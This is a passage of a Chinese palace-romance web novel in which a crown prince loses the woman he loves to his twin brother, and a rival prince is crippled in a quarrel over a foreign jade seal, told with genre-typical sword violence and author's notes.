说来她在这京师里也算是生活过半年的人,对这街道坊间倒也是熟门熟路。 更何况镇北王府,在这京中更是鼎鼎大名。 她随意抓了个人打听,便打听到了府衙的下落。 长街落了雪,行人纷纷加快脚步往家赶去。 熙熙攘攘的上京街道,突然安静下来,天地苍茫一片,唯有雪落在屋檐上的簌簌声。 宋轻风踩着雪,甚至想要哼着歌。 顺着路人的指引,跌跌撞撞地往前跑,路上积雪未消,又添新雪。 鞋子早已被雪水浸湿,连睫毛上都挂了雪粒子。 她却丝毫不觉得冷,只觉得胸口如有火一般在熊熊燃烧,烧得她脸颊发烫,眼眶发热,连每一次呼吸,都似从肺部带着热气上涌,血腥之气充盈在口腔里。 就快了到了,就快到了吧? 不知跑了多久,终于远远却见镇北王府高大的门头在风雪里隐现。 她突然停了脚步,嘴里的歌也停了,站在原地剧烈地喘息。 而后发颤的指尖从荷包里掏了掏,才发现荷包里原来的彩糖遗落在了雪地里。 她顾不得,只掏出那只白色的糖球,小心翼翼地撕开纸包,颤颤地伸出舌头来舔了舔。 清香的甜味,一如既往。 味道是真的。 这一切不是梦! 宋轻风停下脚步,才觉得膝盖发软,差点跪进雪地里,却又硬撑着站起来,想要挪动脚步往前走。 眼瞧着那扇朱红大门紧闭,门口守卫一个也无,她要立刻上前去,敲开那道门。 若是她慢了一步,人走了怎么办? 若是这一切只是巧合,又怎么办? 若是,若是这一切都只是一场梦,又要怎么办? 可越是着急,她的双腿越不听使唤,在厚厚的雪地里,如灌了铅一样沉重。 正急地快要哭出来时。 雪幕深处,却有一道人影,远远地行来。 那人穿着一身苍青色棉衣,却仍显得瘦削,发丝在风雪里飞舞。 明明穿着朴素,却亮的叫人移不开眼睛,这世间所有的颜色,在这一刻全都褪去。 只有他行动的袍角,在雪中愈发鲜明。 连在街头赶路的行人,都忍不住停下脚步去看。 宋轻风感到心已不属于自己,甚至跳动得乱了节奏。 她站在原地,看着人影渐渐靠近,渐渐显出那个熟悉的眉眼,和嘴角的笑意。 宋轻风扑到他面前,他却是低下头道:“鞋子都湿了?” 说着无赖地摇了摇头,低下头伸手掸了掸她一身的落雪,而后弯下腰来,一把将她打横抱了起来。 宋轻风抬头看着近在咫尺的脸颊,手伸了出去,却突然悬在半空,不敢伸手碰他。 他笑了笑,低下头来用自己的脸蹭了她的手。 触手是温暖的,光洁的。 李岚挑了挑眉笑道:“放心,是活的。” 宋轻风看着他熟悉的笑脸,再无迟疑,一把扑到他的怀里,如孩童一般大哭起来:“……真的,真的是你。” 李岚将她的脑袋按在胸口,任由她的眼泪浸湿自己的衣襟,。 “怎么变得这般爱哭了?” 宋轻风听到耳侧强劲有力的心跳,愈发哭得汹涌…… 李岏匆匆行到勤政殿。 一屋子的太医,屋内药味血腥之气弥漫。 瞧见他来,众人慌忙都让开了位置。 便露出里头的御床来。 皇帝穿着白色里衣,便靠在床头,低着头面色痛苦,皇后守在一旁,正拿帕子在他额上擦拭。 瞧见他来,两人具都没有看过来,只有站在一旁的晋王低下头,率先开口道:“太子殿下,您来了。” 李岏嗯了一声,却见皇帝额角伤口颇深,皇后手中的帕子染了血,片刻便又换了一条。 来此的路上,他已听闻了。 说是今日他离开此处之后,晋王见父皇母后具都心绪低沉,遂提议三人去湖边赏雪,说是昨日见宝华殿外,今年的第一支腊梅开了。 皇后听闻,也拉着皇帝出门。 几人去了湖边,不想皇后娘娘的白猫雪团突然脱了手。 受惊之下在雪地里窜跑,皇帝不妨,就地摔了一跤。 偏巧那猫喵呜一声上了亭子,蹬得上头的金瓦跌了下来,正正砸在陛下的头上。 登时血流不止,伤了好大一块。 李岏一路行来,听侍从通禀,只觉得有些荒诞不经。 这种种巧合,未免有些可笑。 不光他觉得荒诞,便是皇后,晋王这两人,也一时面面相觑。 只是到底是皇后的猫犯下大错,便是心中有疑虑,她却是不能开口。 皇帝也冷着脸,不曾说话。 李岏见那伤口确实不轻,遂起身道:“白猫伤主,皇后娘娘准备如何处置?” 皇后颤巍巍坐在一旁,泫然欲泣,深宫寂寞,那是她养在身边十来年的猫。而今伤了陛下,便是就地处死也不为过。 晋王欲要开口,却被李岏抢先一步道:“天寒雪重,陛下近来身体本就不愈,你却还撺掇着往雪地里去,白猫不过是个畜生,你却是半点脑子也没有吗!” 晋王被训,一张脸通红反驳道:“还不是因为你!” 李岏冷笑道:“年岁不大,倒是学会了顶嘴。” 皇帝捂着额头不耐烦地道:“好了,朕累了,都出去吧。” 李岏不再看他,自顾转身而去。 站在檐下一时,并不见其他人出来,果然所谓的都出去,只是撵他一人出来罢了。 他冷着脸,行到湖边,站在原地,原是想查看今日之事,不想脑中飘着的,全是昨夜场景。 便是在此处,她跑了过去,连一眼都没施舍给自己。 而今,两人已经团圆在一处了吧。 冷雪落在脖颈很快融化,他心中发寒,如何也安定不下思绪。 不远处紫晨宫,隐在雪中。 这硕大的宫城里,竟是寻不到一处自己的家…… 皇觉寺在京师往东二十里,也是京外最大的皇家寺院。 平日里香火鼎盛,京中权贵之家大多来此烧香。 几个月前,寺中收留了许多安西逃难至此的难民,云逍带着西山大营的人,将此地守得水泄不通,连带着来上香的人也进不来。 往日里熙熙攘攘的皇觉寺,倒是难得地安静了下来。 这日晨时,一辆毫不显眼的马车驶来,到了庙门口,车也没有要停下的意思。 守卫忙去禀告了云将军,云逍不耐烦地从床上爬起来,远远见到驾车的人,忙命人打开了寺门。 马车停也未停,便直直地驶进了庙内。 车声很轻,并未打扰在此休憩的人。 顺着铺就的上山石路,马车便一路行往了后山。 后山森冷,积雪深厚,未曾融化,晨时迷雾环绕,一片肃杀萧瑟。 李岏自车上下来,发上只插了木钗,一身素白衣裳只垂到脚面。 他方落地,抬首看了守宁殿的廊柱。 原本漆金刷红的檐壁,已生了斑驳,露出低下深棕色的原木来。 殿里的寒意,便一丝一缕地慢慢飘出来。 李岏站在门口,看着匾额上“守宁殿”三字发呆,站了良久才抬步。 跨过门槛,他掀开衣摆便跪在了正中。 只见这殿中空空荡荡,不见神佛雕像。只在正中,立着一个不起眼的牌位。 李岏端端正正磕了三个头,这才抬起头来,喉结滚了几滚,半日才出声道:“母亲,儿子来看你了。” 看着殿中小小的牌位,他再没有话。 想到很久很久以前,下学回来,母亲会将他们两人拉过去,桌上已准备好了一桌子的点心。 她会拿着帕子,先是擦了哥哥额头的汗,而后那香软的帕子也会来擦他的。 她会带着淡淡的笑,与他们道:“快去吃吧,别凉了。” 他自小便被册立为太子,早早便分府,一个人住去了东宫。 可他还是日日往紫晨宫跑。 但他不敢一个人面对母亲。只是若只有他一个人去,哥哥未在,她便会冷着脸,瞪着空洞的眼睛看着他。 他害怕母亲看着他一个人时,那双空洞又陌生的眼神。 但他不想离开紫晨宫,更不想一个人呆在空寂又硕大的东宫。 所以不管是刮风下雨,他总是要守在外面,等到哥哥回来,一起去紫晨宫里。 但是而今。 他到底一个人来了此处。 彷佛那小小的牌位上,生出母亲陌生又厌恶的眼神。 若是她知道临死时候,是自己冒充了哥哥,永远都不会原谅他的吧。 不过如今哥哥回来了,您看见了吗?开心吗? 他低下头,看着面前的青砖,低声道:“母亲,钦天监说我生来是孤星天煞,他们都认为这是天生九五之象,乃是上上之兆。可谁又想过,我也是一个人呢。” 他双目血红,却又缄默不语,只藏在袖子里的手隐隐发颤, 不知过了多久,却听声后传来脚步声。 不等反应,却见一身素白衣裳的男子,跨进殿来。 随后身子一矮,也在身旁跪了下来。 李岏刷地转头,便见到与自己几分相似的面容,抬首看着上方的牌位。 他皱眉道:“你为何来此?” 李岚并不看他,只是兀自整理衣衫道:“来祭拜母亲。” 李岏眼尾血红,剧烈颤抖的手再藏不住,咬牙道:“既然你自己选了这条路,就不应该再回来了!” 李岚并不看他,脸上也不见了笑意,隐约瞧见眼眶泛了红,只是道:“我与母亲磕完头就走。” 说着跪在地上砰砰地磕了头,等抬起头来,已见额头上青色紫痕,混着地上的灰尘。 他跪在下方,静默了好一会,而后起身道:“我们走了。” 我们。 李岏也起身,便一眼见到了殿外。 殿外的苍苍青松下,站着个穿着一身粉白袄服的少女。 此刻正低着头,将雪地里的松果用脚挖出来,而后跳跃着踢来踢去。 一根绿色丝带扎着高发髻,发尾便在她的跳跃中晃荡。 阳光照着雪色,映着她白皙的脸颊,分明就是天真明媚的少女模样。 他心口剧痛,弯下腰来。 他知道宋轻风在门口等人。 只是此刻她等着的人,并不是自己。 果然瞧见李岚从门内出来,她扔了松果,笑着跑上前来道:“兰哥哥。” 李岚上前拉了她的手道:“我们走吧。” 宋轻风方要答应,却听殿门又响。 门口站着个一身素色的男子,形容消瘦,面色苍白,眼下一点小红痣,鲜红欲滴。 此刻发丝披散在肩头,眸子里如藏着七尺冰寒。 目光在两人紧握的手上扫过。 宋轻风面色一白,下意识紧紧地抓了兰哥哥的手臂。 李岏又自她慌张失血的面上一扫而过,而后转走了目光,冷着脸径自走下台阶。 他冷着脸,便是穿着素衣也一身矜贵,从她身旁擦过时,却再未看她一眼。 眼见着他要消失在前头的竹林里,宋轻风忍不住叫道:“太子殿下。” 他脚步一顿,却未回过头。 宋轻风看着他挺直的背影,道:“太子殿下,对不起。” 李岏并没有转头,只是道:“你不过是孤的侍妾,与人跑了便跑了吧。” 他说完便抬步走了。 一路上未曾回头,只怕是自己一回头,就要忍不住将人抓住。 他一路不停,脚底生风一般行到一僻静处,却又突然停了下来。 身后高守还未站定。 却只听“刷”地一声,李岏已一把抽了他腰侧的剑来。 还未反应过来,却见一道刺目的银光闪过。 而后鲜红的血滴落在雪地里,瞬间绽开,如雪中血色花朵,触目惊心。 高守震惊地顺着血色转过去,便见殿下白皙的面容上,一道伤口赫然在侧。 殿下……殿下竟将眼下的红痣生生切去了! 李岏面色依旧冷凝,彷佛方才切去的,不是自己的血肉一般。 这痣是十多年前,自己亲手刺的。 而今这十多年后,也由他自己亲手挖去。 他从袖中掏出巾帕,擦了擦伤口,便又走了—— 作者有话说:求安慰 第76章 第 76 章 她要护的,是旁人 宋轻风看着背影消失在竹林深处, 转回目光来。 目光在兰哥哥的额上扫过,却闭了嘴没有问。 李岚看到她的目光,掏出帕子来擦了擦额头, 又回首看了眼守宁殿斑驳的殿门,方道:“这个世上,我最对不起的就是他们。” 宋轻风下意识看了看殿门。 她没有问他们是谁。 李岚却转了笑脸, 裹了裹她的衣裳道:“走吧。” 日头已起, 晨雾消散。 出去时,皇觉寺竟是比来时热闹许多, 被安置在此的灾民都已起床,在寺里各处坐着围着。 听闻他们说话的口音,正是安西一带的人。 她在安西生活近十年, 虽然知道自己并非安西人, 也不会说安西话,但是乍然听闻熟悉的口音,到底忍不住往上凑了凑。 年中安西地动时,她已离开安西, 到了这京师。 零零碎碎地听闻当地受灾极为严重, 数万灾民流离失所。 还是半数镇北军去了安西救灾,才将人陆续救出安置下来。 只是朝廷拨去的救灾赈款不及时,连镇北军许多人都困在当地, 差点饿死。许多灾民离开安西去往其他地方讨生活。 此前在苍西便遇到过从那处逃难来的。 而这皇觉寺里,便是一波往京师来谋求生路的。 这些人还未靠近京师, 便被西山大营的人拦住安置在了此处。 原本心下忐忑, 好在此处有吃有喝,又能遮风挡雨,即便是成日里有人看守不许进出, 他们倒也并无多大意见。 听闻待春暖花开,朝廷还会给他们一笔不小的款项,让他们回安西。 果然瞧起来,这些人面色红润,身型饱满,面上神色一派祥和。 她看着他们,却想起太子。 他每日里雷打不动地早出晚归,便是在方华殿瞧见他的时候,几乎都是埋首在桌案上,不知忙到几时。 他从未说过自己整日里都忙了些什么。 但便是这些人此刻的安心,都来自他的一份力吧。 宋轻风被李岚牵着,穿过这些人往外走。 没走几步,却感到牵着的手一顿,不由好奇地抬起看了过去。 却见这些人中有一中年男子站起身来,似乎是朝他们看来的,不由一愣。 李岚顿住脚步,与宋轻风道:“你在那檐下等我,我去去就来。” 宋轻风迟疑了片刻。 李岚低下头看她,拍了拍她的手背道:“放心。” 宋轻风点了点头,松了手,眼瞧着李岚随那中年人去了。 院子里有几个孩童,早从逃难的困苦里摆脱出来,正在雪地里追逐嬉戏。 笑声在这寺院里格外清悦。 宋轻风被声音吸引,也忍不住跑过去围观。 这些孩子果然在哪都欢快地不行,叫周围围观的人都忍不住笑容满面。 看了不知多久,却见一小女孩跑得满脸通红,奔到宋轻风旁边时不妨脚底打滑,整个人就摔了出去。 她挥舞的小手在空中无助地拼命地划。 宋轻风下意识冲上去,小姑娘扯住了宋轻风衣摆总算站稳了。 小女孩好不容易站稳,没有摔在雪地里,不由挠了挠头道:“谢谢姐姐!” 说完不等宋轻风答应,又飞奔着玩耍去了。 宋轻风好笑地摇了摇头,却发觉方才拉扯中竟将腰侧的荷包给拉扯落了地。 里头的东西滚落出来。 瞧见雪地里隐约的糖和玉色,她眉心一跳,忙将东西一把塞进了荷包。 不想方抬头,却见不远处的檐下站着一年轻男子,那男子锦衣华服,面容俊美,嘴角却挂着意味不明的笑意,有些眼熟。 宋轻风心头划过一祥的预感。 下意识抓紧了荷包。 果然这男子慢慢走上前来,目光在她手上一扫而过,随意作了作揖,挑眉笑道:“宋娘子。” 宋轻风见他眉眼,突然反应过来,结结巴巴不确定地道:“晋,晋王殿下?” 晋王左右瞧了瞧,却又转过头盯着宋轻风道:“方才见到太子殿下的车驾,才知殿下也来了此处,却不知竟带着宋娘子一并来了。只是太子殿下在何处呢?” 宋轻风不想与他过多纠缠,只是道:“殿下马上就来,我先走了。” 晋王却没有要让开的意思,笑道:“急什么,此处鱼龙混杂,太子殿下又不在,我这个做弟弟的岂能让娘子一人在此。” 宋轻风下意识四处看了看,方才还在此处的灾民们竟已消失地干净。 跑跳的孩子们也全不见了。 兰哥哥还没有回来。 她下意识紧紧握住荷包,心下有些着急。 果然晋王也不绕弯,直接道:“宋娘子这个荷包倒是别致,里头想是装了什么珍宝,本王素来是喜欢瞧些新鲜的,不若给本王也瞧上一眼?” 宋轻风后退一步道:“女孩子的东西,就不必看了吧。” 晋王却道:“若真是女子的东西,倒也罢了,只是本王瞧着,倒不一定。” “宋娘子只怕不知,有人报信说这皇觉寺的灾民里,恐混进了北戎的奸细,陛下特命本王来查探此事。” 寒风吹过,宋轻风面色有些发白,道:“殿下自去查奸细,为何要来看我的?” 晋王步步上前,面上神色吓人:“这些灾民是太子殿下安排进皇觉寺,等闲人都靠近不得。倒是宋娘子,想来是太子殿下信任的人。何况陛下既有交代,这寺内的人,不论是何身份,本王全都会排查一遍。” 宋轻风下意识余光左右看了看,却见隐蔽处似藏着些人。 她心道不好,这是被围住了。 若是被他发现自己的玉,不光自己难逃干系,只怕还要连累太子和兰哥哥。 晋王见她神色,心中愈发笃定。 这皇觉寺的灾民里混有北戎奸细之事,在朝上闹得沸沸扬扬。更关键的是,这些人是太子殿下安排在此处,派了西山大营的人驻守,等闲不让人靠近。 此事正好给了他一个散播消息的契机。 况且是经北戎三皇子的口传出,朝中对此消息已是确定无误了。 而今他知道太子前往此处,立刻跟了上来。 果然叫他发现了蛛丝马迹。 他心中如何能忍,更顾不得仪态,上前一步一把抢过了宋轻风手中的荷包。 不过随手一掏,便从中掏出那两块合在一处的玉来。 晋王一时难以置信,这北戎镇国玉玺,多年来他在宫里费尽心思,掘地三尺都未寻到。 居然出现在这小小女子的荷包里! 他拿着玉玺的手忍不住发颤。 北戎内乱不止,他只要助北戎三殿下拿到玉玺,顺利登上皇位,那北戎,也将是他的助力。 何况今日得到如此罪证,太子便是再巧言善辩,便是跳进黄河也洗不清了! 一个与北戎勾连的太子,何以服众,如何还能坐太子之位? 晋王越想越激动,居然的喜悦冲天而起,多年的压抑透顶而出,取而代之的是冲天的快感。 他一把抓住玉,咬牙笑道:“本王找人查过你。” “你在东宫时候,瞧着安分守己,可却没少往藏书阁跑,还在里头问东问西。你大概也是听到传闻,这玉便在藏书阁里?本王去寻了半日未果,不想却被你找到了?” “还有你曾撇开太子,私自去了一家打铁铺打了一把钥匙,说说那钥匙是用在哪里的?” 宋轻风咬着唇未发一言。 她目光死死盯着他的手,心中飞快地谋算着如何能从他手中将玉夺回来。 晋王却挥了挥手道:“来……” 还未说完,却见眼前一青色一闪而过。 晋王的身体已如一道线飞了出去,“扑”地一声重重地摔落在地。 那块玉连带着荷包便捏在一只修长白皙的手上。 宋轻风一喜,上前握住他的衣袖道:“兰哥哥!” 李岚面上覆了只青白色面具,将玉放进荷包,轻轻放进了宋轻风手里。 周围隐藏的人蜂拥上前,将两人团团围住,只等晋王一声令下。 晋王这一摔浑身如散了架一般痛得厉害,愈发气急败坏自地上爬起来道:“哪里来的不长眼的混账!这是想造反!” 说完瞧见对方覆着面具,一双眼睛自面具中透出,不由心头有些发寒。 可瞧见周围的侍卫具是自己的人。 重又冷笑道:“你是太子殿下身前的侍卫?如此以下犯上,抗旨不遵,是活腻了吧?” 只是此时不宜动静闹得太大,速战速决才是要紧,他挺胸拨开人群道:“本王乃是当今晋王,只需将东西拿来,便可饶你一命。” 李岚上下扫了他一眼,声音自面具后传出,冷冷淡淡:“晋王?算什么东西?” 晋王面色一变,从小到大何曾受过如此侮辱。 不想这侍卫如此无法无天,即便是太子跟前的人,也过分张狂了些! 方要挥手命人将他拿下,哪知李岚已自腰侧抽出柄长剑来。 剑光一闪,众人还未看清,那剑却已架在了脖颈之上。 剑锋的冰冷如蛇一般紧贴肌肤,叫晋王忍不住浑身汗毛竖起。 周围的侍卫一惊,当即不敢上前分毫。 “你,你要做什么!我乃是钦差!当朝唯一的一字王!你当真要造反吗!” 李岚的面色隐在面具之后,剑背一用力,晋王顿时浑身发麻,再使不上半分力,扑通跪倒在地。 他又惊又痛,与周围侍卫道:“你们都是死人吗?” 李岚道:“谁又敢动?” 他的性命捏在手里,周围侍卫无不双目喷张,却谁也不敢轻举妄动。 李岚一步上前,转动剑尖抵在对方的咽喉,居高临下地看着地上的人道:“他到底心慈手软,竟容你这样的货色在此上窜下跳?” 晋王忍不住要挣扎起身,哪知那剑分毫不差地抵在咽喉上,连咽口水都感受到冰冷的刀锋刺破肌肤。 只需微微一用力,便可刺穿咽喉,药石无救。 他到底吓得动弹不得,勉强抬头,对方面色完全看不清,只有寻常青白面具,此刻瞧来冰冷的骇人。 他不由额上冷汗涔涔,心头生了惧意,小心开口:“你,你是谁!你想要什么?” 李岚不答,冰冷的目光扫过对方。 方要动作,却感到衣袖被人紧紧抓住,他低下头便对上宋轻风紧张的小手,遂习惯性地伸出另一只手捂住她的眼睛,道:“小孩子不宜观看。” 宋轻风还未反应,耳边却已听到剑刃破空声。 晋王心头急跳,还不待反应,便见眼前银光一闪而过,他下意识眯了眼睛。 随后钻心的剧痛铺天盖地袭来,叫他眼前一黑,惨叫出声。 周围侍卫欲要上前拼命,可自家主人的性命却捏在对方手里,一时浑身发颤,进退不得。 剧痛叫晋王险些晕死过去,疼痛叫他浑身汗湿衣背,等他从剧痛里回神,哆哆嗦嗦地才瞧见自己双脚踝处血脉喷张。 不由目眦欲裂,激叫道:“你,你对我做了什么!” 李岚面具下的嘴角扯出弧度,淡淡地道:“无他,废了你而已。” 巨大的恐惧席卷全身,叫晋王失了理智,若他当真成了废人,如何还能坐上太子宝座! 但他是当今陛下最宠爱的皇子,当今皇后唯一的亲生儿子,便是太子也不能奈他何,如何也不相信有人胆敢废了他。 不过是虚张声势。 待离了此处,他一定要将对方碎尸万段! 心头到底存了希望,晋王叫道:“那又如何!太子的罪证已明!你们便是废了我又如何!他也洗脱不了罪孽!” 血很快染红了一地的白雪。 刺目又妖艳。 宋轻风看着满地的血,心头突突直跳。 她知道这晋王而今的受宠程度,在京中权势甚至不低于太子。 她也知道他是太子的亲弟弟。 如今兰哥哥伤了他,这皇室的人如何能放过兰哥哥。可若这般放他回去,又恐对太子不利。 宋轻风心头生了愧意,她一时想不出办法,只是扯了李岚的衣袖道:“我们挟持了他先走。” 李岚方要开口,却听身后传来擦卡擦卡,轻微的踩雪声。 脚步声如此熟悉。 宋轻风心中一跳,果然见太子负着手从不远处缓缓走来。 面上神色如冰雪一般,只是眼下却隐约瞧见血红一片,衬得整个人叫人心惊。 她一慌,一把站在了兰哥哥的身前。 李岏见她下意识地护在李岚身前,脚步一顿,心口一阵急剧收缩,如被人掐住了一般,脸颊上的伤口,更是如火灼一般刺痛,身侧的手死死握成拳。 她这是什么反应? 她就是这般毫不犹豫,挡在他的面前吗? 就像那时候,她以为有刺客,一把扑过来挡住自己一般? 只是而今,她毫不犹豫地选择护住别人,来对抗自己?—— 作者有话说:久等了,晚安呀~假期实在过得太快了[爆哭] 第77章 第 77 章 宋轻风 她这般护在身前, 是以为自己要做什么? 李岏目光扫也未扫凄惨跪在地上的晋王,木着脸走到近前。 李岚见他来此,却低下头, 刷地一声收了剑。 旁边晋王的侍卫们早已是面容惨白,侍卫统领当即跑上前跪在晋王身侧,扶住晋王。 可怜晋王早已疼得哆哆嗦嗦, 闭着双眼讲不出话来。 这晋王深受陛下宠爱, 又是嫡子,陛下欲要废长立幼的心思, 宫人皆知。 他与太子殿下虽从未撕破脸皮,但两人却私下早已势同水火。 如今伤晋王的人又与东宫里宋娘子相关。 侍卫统领镇住心神,黑着脸抬头与李岏道:“太子殿下, 晋王殿下乃是受陛下旨意来此, 晋王殿下慧眼,一眼识出,此二人身上藏了北戎的镇国玉玺!不想真相败露,他们竟是大逆不道, 要杀晋王殿下!还望太子殿下能主持公道!” 一地的血在雪地里格外醒目。 宋轻风见太子脸如冰霜, 目光凉凉地看过来,看得人汗毛倒竖。 当即结结巴巴地道:“与兰哥哥没关系,他是为了救我。” 兰哥哥? 她这般紧张, 为的都是兰哥哥。 李岏没有说话,一步步走上近前来。 看着他步步迫近, 宋轻风却也纹丝未动, 一步未让,细白的脖颈坚硬着。 李岏感到心中已一片麻木,嘴角扯出一丝冷笑, 伸出手来。 “什么?” 宋轻风反应过来,下意识地紧紧捂住手中的荷包,他要这玉! “里面是我的东西。” 李岏薄唇微掀,道:“拿来。” 语气虽淡,但却是傻子都听得出里头的不容置疑。 但宋轻风死死抓着荷包,果断地摇头道:“不要!” 这是兰哥哥要的东西,她好不容易从宫城里寻出来的! 什么? 李岏几疑是自己听错了。 落后几步的高守一头的汗,不想这世上还有人敢和太子殿下说不。 宋轻风直直地抬头,两人的距离近得能听到彼此的呼吸,看得到对方衣裳上的纹绣。 他衣衫下微微起伏的胸口,显示着他一定是气极了,只是在极力压抑着自己。 果然他狠狠地咬牙低声道:“你说什么?!” 无视他周身散发的可怖气息,宋轻风抬起头对着他,好似白猫受了惊吓,一声的毛炸了起来,目中毫无动摇地道:“我说不要,除非您杀了我。” “你,”李岏气极反笑,伸出的手险些捏上她的脸,好不容易忍住,拇指上的扳指几欲捏碎,“你以为孤不敢么!” 宋轻风昂着脖子方要说话,突然感到肩膀被人轻拍。 她转过头,便听到兰哥哥轻声道:“无妨,给他看看。” 宋轻风一身气焰顿消,仔细看了一眼兰哥哥面上淡淡,不似勉强。 遂轻声回道:“哦,好的。”当即低下头,打开了荷包。 从中拿出那两片玉来托在手心,伸了出去。 李岏站得极近,看得到他们两人的目光交汇,身子轻碰在一处,李岚的手还轻轻搭在她的肩上。 他不过轻声细语一句话,她连问也不问,一身的毛便都这般顺了下去,成了只乖顺的猫咪,乖乖地将这般重要的东西拿了出来。 一切映衬的自己就像是个傻子一般。 他胸口酸涩,只觉得阳光太过刺目,周围的雪更是晃得人眼睛疼。 她伸在面前的手都有些模糊了。 李岏脚下险站不住,他勉力稳了稳身型,彻底将目光从她身上移开,扫在了她的手心。 她的手心小小的肉肉的,每个指腹都圆润可爱,他记得摸在手中是软软的。 宋轻风举得手发酸,见太子也没有要接过去的意思,她当即出声提醒道:“太子殿下?” 李岏接过玉,手指从她微热的掌心擦过,忍不住微微颤了一下。 目光在玉上飞扫而过。 宋轻风死死盯着他的嘴唇,心中盘算他离得这般近,若是他说出什么拿人的话,不若立刻将他拿了做人质。 李岏看了不过片刻,他嘴角牵了冷笑,一把将玉扔了回来。 “不过是我东宫的粗劣玉器。” 晋王的侍卫统领一惊,黑着脸抬头道:“太子殿下!这玉分明就是北戎玉玺,您是当真要偏袒吗!还是说,这分明就是您的意思?” 李岏转过头,双眸冷冷地看了他一眼,声音低沉。 “你在质问孤?” 那侍卫统领心中一凉,未及反应,却见眼前白光一闪而过。 而后他觉得脖颈处传来一片凉意。 雪地上血花飞散绽放。 他下意识伸手摸去,却摸到一手喷涌的血。 侍卫统领惊惧地双目圆瞪,欲要说话,却一头栽倒在雪地里。 不过瞬间就断了气。 宋轻风看着那统领双目圆瞪,里头满是震惊,到死都没反应过来。 而太子看也未看他一眼,似乎毫不在意,就因为他一个眼神,一条人命就死在面前。 她心下发寒,紧紧抓住了兰哥哥的手臂。 晋王见跟着自己多年的人竟就这般被杀,而高守的剑上还滴着血,却没有要收剑入鞘的意思。 他毫不怀疑,若是还有人说出质疑的话,那另一个倒在地上的,便是那人。 他牙齿打颤,心头终于生了无尽惧意,浑身冰冷的汗意冷透刺骨。 这皇觉寺,里里外外都是西山大营的人,自己这点侍卫,又哪里是他的对手? 李岏的目光在周围面如死灰的晋王侍卫脸上扫过,而后才似发现了跪倒在地的晋王。 皱眉问道:“你们殿下的腿怎么了?” 侍卫们浑身发硬,面色青灰,跪倒在地。 今日晋王受伤至此,他们这些人一个少不了责罚。 其中有人回过神来,结结巴巴地回道:“是北戎潜伏在此的刺客乘机伤了晋王殿下。统领大人护主而死,小人等护卫不力,竟叫那刺客逃了!多亏太子殿下带着宋娘子及时赶到,才救下殿下和小人的性命。” 李岏问道:“其余人呢?” 其余侍卫顿了一瞬,全都应和道:“正是如此。” 晋王听自己手下的人如此做,当即气得两眼一黑险些晕过去。 李岏与晋王道:“孤原想瓮中捉鳖,不想今日被你如此愚蠢,打草惊蛇。也罢,而今奸细伤了你,又逃走,必是逃回北戎去了,你回宫之后,且修书与北戎要人。” 晋王双腿落在雪地里,被冻得疼痛反而减轻了许多,他擦了额上的汗,死死咬了牙道:“是!” 阴冷的目光却扫过宋轻风与李岚面上的面具,道:“我今日到此,是我咎由自取。只是太子殿下到底大度,令我等叹服,为了拿到东西,便容自己的侍妾,与旁的男人这般亲昵,不知道的还以为他们才是一对,殿下如此牺牲,臣弟自愧不如。” “卡擦”一声,李岏拇指上的扳指断了。 锐利的断口切入掌心,他似感觉不到疼痛一般。 好一会才与高守吩咐道:“派人将晋王送回宫里去,这些侍卫带去大理寺。” 院子里的人撤了干净。 雪地里的血渐渐干涸,风中都是寒气。 却突听闻宋轻风轻叫道:“哎呀你怎么流血了!” 李岏一颤,下意识伸手,抚上面颊。 抬头却见宋轻风抓着李岚的衣袖,左翻右翻,在发现只是在了袖子上不小心染了点血后,这才松了口气。 他触到脸上伤口的手如被烫了一般,缩了回来。 宋轻风又将李岚左右看了一番,确认没有伤,这才放下手。 却想起太子脸上的伤,方才不便问,此刻才道:“太子殿下,您脸上的伤……” 还未说完,却见雪地里空空如也。 一阵风过,远处太子瘦长的背影晃晃悠悠。 宋轻风忍不住目送着他背影消失,这才转回目光。 她忍不住转头看了看李岚。 他脸上的面具不知何时已取下了,露出如画的面容,眼下的红痣更鲜艳夺目。 与太子相似的面容,却更多磊落之感。 李岚见她的打量目光,忍不住笑道:“他还未走远,若是你想?” 宋轻风摇了摇头道:“不用了。” 他有自己的生活,有她没她,都不会有任何变化…… 太子的婚事竟如儿戏一般搁置,连那位太子妃人选都失了踪迹,听说是新婚前一日与人跑了。 她的身份本就可疑,一时朝中内外议论纷纷。 连京中市井都流言不止。 这日雪后初晴,酒楼正济济一堂,众说纷纭,无人不在议论这宫中秘闻。 有客人在栏杆处碰杯,因有八卦下肚,多喝了几杯。 一个没拿稳,酒盏便摔落了楼下。 酒醉的客人下意识伸手要接,却被楼下的一个行人吸引了目光。 街道上积雪未清,行人又少得可怜。 那人一身从头到脚的素白衣裳,长袖宽摆,行动间衣摆空空荡荡。 他年岁不大,面容如雪,脸上什么神色也无,一身的清冷又矜贵,气质凌然,一看就出身不凡。 只是脸上一片血迹,让他冷淡的容颜显出几分凄楚来。 这么长一条街上,只他一人缓缓行着。 身影说不出的萧瑟孤寂。 客人喝多了,下意识笑道:“喂,小公子这是情场失意了吗?” 听闻客人的喊声,其他人也下意识看去,瞧见他模样,有人调笑道:“难道也像太子殿下一样,媳妇跟着旁人跑了?” 一时堂中哄堂大笑。 众人全都聚到栏杆旁来。 有人笑道:“小公子你还年轻,又生得这般标致模样,这世上姑娘有的是,要不本少爷介绍给你啊。” 李岏随意挥了挥手,跟着他的侍卫们全都缩了回去。 仰起头,瞧见酒楼上调笑的人脸,他们都好生快活。 阳光刺得他眼睛眯了眯。 他索性转身进了酒楼。 虽然他一身素色常服,久居人上的气质却丝毫未减,众食客虽然调笑,却谁也不敢上前来。 他在济济的大厅里,随意寻了个空位,便要小二上酒。 酒楼里很快恢复了热闹,议论声嘈杂又起。 声音吵得人耳朵疼,李岏却浑身放松下来,安安静静地坐着,一杯接一杯地酒水下肚。 只是他相貌气质都格外出众,与周围乌杂的环境格格不入,总是不自觉吸引周边人的眼光。 见他半晌只顾埋头喝酒,终于有胆大的年轻人凑上前来,与他道:“公子这模样果然是情场失意,不若本少爷带你去春风楼里,在那里,公子想要什么样的女人都能找到。” “真的吗?想要什么样的都有?”李岏脑袋昏昏沉沉,抬起头来问道。 年轻人拍着胸脯道:“那是自然。” 李岏听此,一把扔了酒盏道:“好啊,这就去。” 那年轻人当即亲手扶着他,将他往外带道:“走走走,本少爷这便带你找。” 两人歪歪斜斜,走到酒楼外头。 那年轻人的随从将两人往北边带。 高守见殿下双颊泛红,步态歪斜,显然醉得不轻,忙上前来要搀扶他上车。 李岏一把打开他的手道:“走,走开!” 在那年轻人的随从带领下,真到了一处锦绣楼。 方踏入门内,已闻到脂粉甜腻香气扑面而来,满耳的莺声燕语,琴声悠扬。 远处台上女子身段婀娜,正要起舞。 